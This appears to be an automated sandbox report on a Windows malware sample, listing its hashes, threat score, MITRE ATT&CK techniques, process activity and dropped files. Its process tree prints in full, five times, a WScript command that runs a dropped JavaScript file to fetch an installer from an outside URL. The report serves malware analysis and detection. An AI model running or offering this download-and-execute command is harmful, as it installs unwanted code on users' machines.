9fcbb1d6ed7b63e15955da197192388d3a95155cb35f5a0e977a74f7a27a0f95

Analysis

max time kernel
117s
max time network
118s
platform
windows7_x64
resource
win7-20240508-en
resource tags

arch:x64arch:x86image:win7-20240508-enlocale:en-usos:windows7-x64system
submitted
26-05-2024 16:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe
Size

184KB
MD5

760882b0bfc418b7753ac963ced9b765
SHA1

f74773998d7075c017a96809dd2f2636bb26028d
SHA256

9fcbb1d6ed7b63e15955da197192388d3a95155cb35f5a0e977a74f7a27a0f95
SHA512

068986f7516d23a7c34039cd51a1edaeb3702531a8dcfeeaf7b6ac4f26b0aa25c7f7c31c52b831c478d80915ea18b52550c2e0e8fbfbcee8c377a01724ce04ff
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO37K:/7BSH8zUB+nGESaaRvoB7FJNndnmK

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 11 IoCs

flow	pid	Process
6	2476	WScript.exe
8	2476	WScript.exe
10	2476	WScript.exe
12	2692	WScript.exe
13	2692	WScript.exe
15	2708	WScript.exe
16	2708	WScript.exe
18	1700	WScript.exe
19	1700	WScript.exe
21	1876	WScript.exe
22	1876	WScript.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1712 wrote to memory of 2476	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	28
PID 1712 wrote to memory of 2476	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	28
PID 1712 wrote to memory of 2476	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	28
PID 1712 wrote to memory of 2476	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	28
PID 1712 wrote to memory of 2692	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	30
PID 1712 wrote to memory of 2692	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	30
PID 1712 wrote to memory of 2692	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	30
PID 1712 wrote to memory of 2692	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	30
PID 1712 wrote to memory of 2708	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	32
PID 1712 wrote to memory of 2708	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	32
PID 1712 wrote to memory of 2708	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	32
PID 1712 wrote to memory of 2708	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	32
PID 1712 wrote to memory of 1700	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	34
PID 1712 wrote to memory of 1700	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	34
PID 1712 wrote to memory of 1700	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	34
PID 1712 wrote to memory of 1700	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	34
PID 1712 wrote to memory of 1876	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	36
PID 1712 wrote to memory of 1876	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	36
PID 1712 wrote to memory of 1876	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	36
PID 1712 wrote to memory of 1876	1712	760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe	36

C:\Users\Admin\AppData\Local\Temp\760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\760882b0bfc418b7753ac963ced9b765_JaffaCakes118.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1712
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2185.js" http://www.djapp.info/?domain=IuipiMdUgI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2185.exe
  2⤵
  - Blocklisted process makes network request
  PID:2476
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2185.js" http://www.djapp.info/?domain=IuipiMdUgI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2185.exe
  2⤵
  - Blocklisted process makes network request
  PID:2692
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2185.js" http://www.djapp.info/?domain=IuipiMdUgI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2185.exe
  2⤵
  - Blocklisted process makes network request
  PID:2708
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2185.js" http://www.djapp.info/?domain=IuipiMdUgI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2185.exe
  2⤵
  - Blocklisted process makes network request
  PID:1700
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf2185.js" http://www.djapp.info/?domain=IuipiMdUgI.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf2185.exe
  2⤵
  - Blocklisted process makes network request
  PID:1876

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
1KB

MD5
beba3522cd7eb77a09fe36abcb252a4f

SHA1
220cb347af597d4f8aacacff27eb0ce64207e99b

SHA256
63c5ec564440d74f3c2c2a161a66a22dbf30b03659f3309419a359ee1f8c0d4e

SHA512
35eb19b0e1061370a951b1ca3f66288c6ed1732ce7c94fc663eb3959383e0f5d8fc28b3ab1cb9f5f3cb75a314c3d1a0a62694f51490760ea88e8772916f49774

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
724B

MD5
8202a1cd02e7d69597995cabbe881a12

SHA1
8858d9d934b7aa9330ee73de6c476acf19929ff6

SHA256
58f381c3a0a0ace6321da22e40bd44a597bd98b9c9390ab9258426b5cf75a7a5

SHA512
97ba9fceab995d4bef706f8deef99e06862999734ebe6a05832c710104479c6337cbf0a76e1c1e0f91566a61334dc100d837dfd049e20da765fe49def684f9c9

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA

Filesize
410B

MD5
461a83a6cd93daeb78b5ceac720a0fa0

SHA1
0e9f9e109dacd17f4a6a76d27d1af3724bd6cab4

SHA256
2cbf2226b660adea9c7ba77a72750c285961dcd6065e3832e63da4ef3a4caf07

SHA512
eaf5b87ccf48cc1206d23f71cdd47d2e2821416456d6528ce7b7995b35b41c019cb52ef03e15218a0b2e47ee777dc21a5d126d84f212064fb319cbc704fbb106

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
43df75fb7235cf4f78e5586abba53345

SHA1
96f5c2b11d715753ba2be69312565e557c56b40e

SHA256
235a98ca21702951f2814d6d8d848816657e23140514d5eb8aae3d43da4a5650

SHA512
54d523321a46d45753b1d573f3a93074444254511a790adbe4e29ac726b189549727c702ce0161faeb7379dfc12331c1b40176a5de9c5162406a39308ab6dba3

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\CAF4703619713E3F18D8A9D5D88D6288_F2DAF19C1F776537105D08FC8D978464

Filesize
392B

MD5
095199ad912ef6e7429a25d59c899722

SHA1
56918636b27029437aca78b24d06adcc7c74b634

SHA256
3d59a6985811c18bc86bd05db550d71110e5e5d9d9900e9679f311f8db356797

SHA512
c5c095015159e9cf996e5f19fb346b5d06699756e0321734f7c7d835d2be20e60cc5750e6c1544cd0037f639c8b14ca4b22b2dcb7a5e09d39f024bed64001bfe

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm

Filesize
40KB

MD5
d25bdcb68efc8b1fbac67b4feea23759

SHA1
dfdbb36565d54db6558ab74c83a9bf16e18be6eb

SHA256
8e4ed7b6e47493b9a0a4a31bd95ce46171642960291b230ea76fe57dad3eed59

SHA512
e26cd05050f3b59560a2ff9153bd99a9bf9050cfabeb82cb461242a2f300ed66de077966714fefa95df4b26c8620867fc88e5f0beaf03a11911529818305a369

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm

Filesize
40KB

MD5
5d6d6625802db67162e4e34b2e718b9e

SHA1
bf671f6d8479b2239291ba010c8a6459839af729

SHA256
84c1f70c1a64c3a353cdbed30afc5e6473c269aee3f103ed282272f9f9c1c33d

SHA512
e9c6b3be86c47860c83498117aa3edb97bcff37f8638bf32c8c3b925b77b2065568e56143e59316de5776875b78949f04b6f8728d8d8c911148638ba17ceb575

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\2XHJXO3H\domain_profile[1].htm

Filesize
40KB

MD5
d212fb21252c2fbfccc1ecf767596103

SHA1
7d3b5f8dad60934a4e2b116392e781e51f25b477

SHA256
ba9828be38400b0da615645d2ea24990b2a23244e71f07249b1076d6bd8e1dca

SHA512
2b264a9946de20b79f4a44f61956a416f95fa0b4ccae68fd5f5cb6e5d3e18adc2499ead27554f47082fabbfa5d2866aa5cd43afe7713ffcfd5e2dbe07decc883

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm

Filesize
40KB

MD5
4338924aa55071c3f74fe7f4c5265ffe

SHA1
e3e7ffd0b82cdf011c6cc2e487607cce98218f5a

SHA256
7956d930ba3c0b4ef83457a7efaea39a84ccc37fe72c41b4d581a06ff3b732e3

SHA512
3a4e30897060f5f3857f31e56199f3f9312dc6c4f34669b71689c0b13150401eb08dbcb5cb945b733883ccda9f6155a7a30aedbe80e68755a78447ddde6a92bc

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H09CVCL3\domain_profile[1].htm

Filesize
40KB

MD5
ecc20c0feaa47d3f14ff887dbbffa057

SHA1
bd4e2dee2025ffd1de455616cffc910eea93d20d

SHA256
1ad057050b50416cb326aa830e27a0b7ae20a85be2fb0903b936e55374dee4c4

SHA512
bc3ea80bbdb46f676c57a6f3316890fb0c71069cbad9c83098ad27cfa6a2c7491bc838cecca0f37fb5b753bb6ae3e99e9d6b774ebb4177dc2d276025196cc538

Download Submit
C:\Users\Admin\AppData\Local\Temp\Cab6900.tmp

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar8170.tmp

Filesize
177KB

MD5
435a9ac180383f9fa094131b173a2f7b

SHA1
76944ea657a9db94f9a4bef38f88c46ed4166983

SHA256
67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

SHA512
1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

Download Submit
C:\Users\Admin\AppData\Local\Temp\fuf2185.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\EAL8VL8I.txt

Filesize
177B

MD5
9bc45d6b5defa7d35c88fc3e615666cc

SHA1
5daee1770131c81571ad483e7243507e893dc0ae

SHA256
6a86636dd5e5f2de1ba2a12dc5903406a1b94eb15b3b9ce01a2f85cc232c6557

SHA512
8cf15d160a4918e39a29f7f5b889be9f918454c89c839d2152b2f346d8d9825376edffd90d786cffc469d956e0894f8551814019e473448112263dbb05aabf2d

Download Submit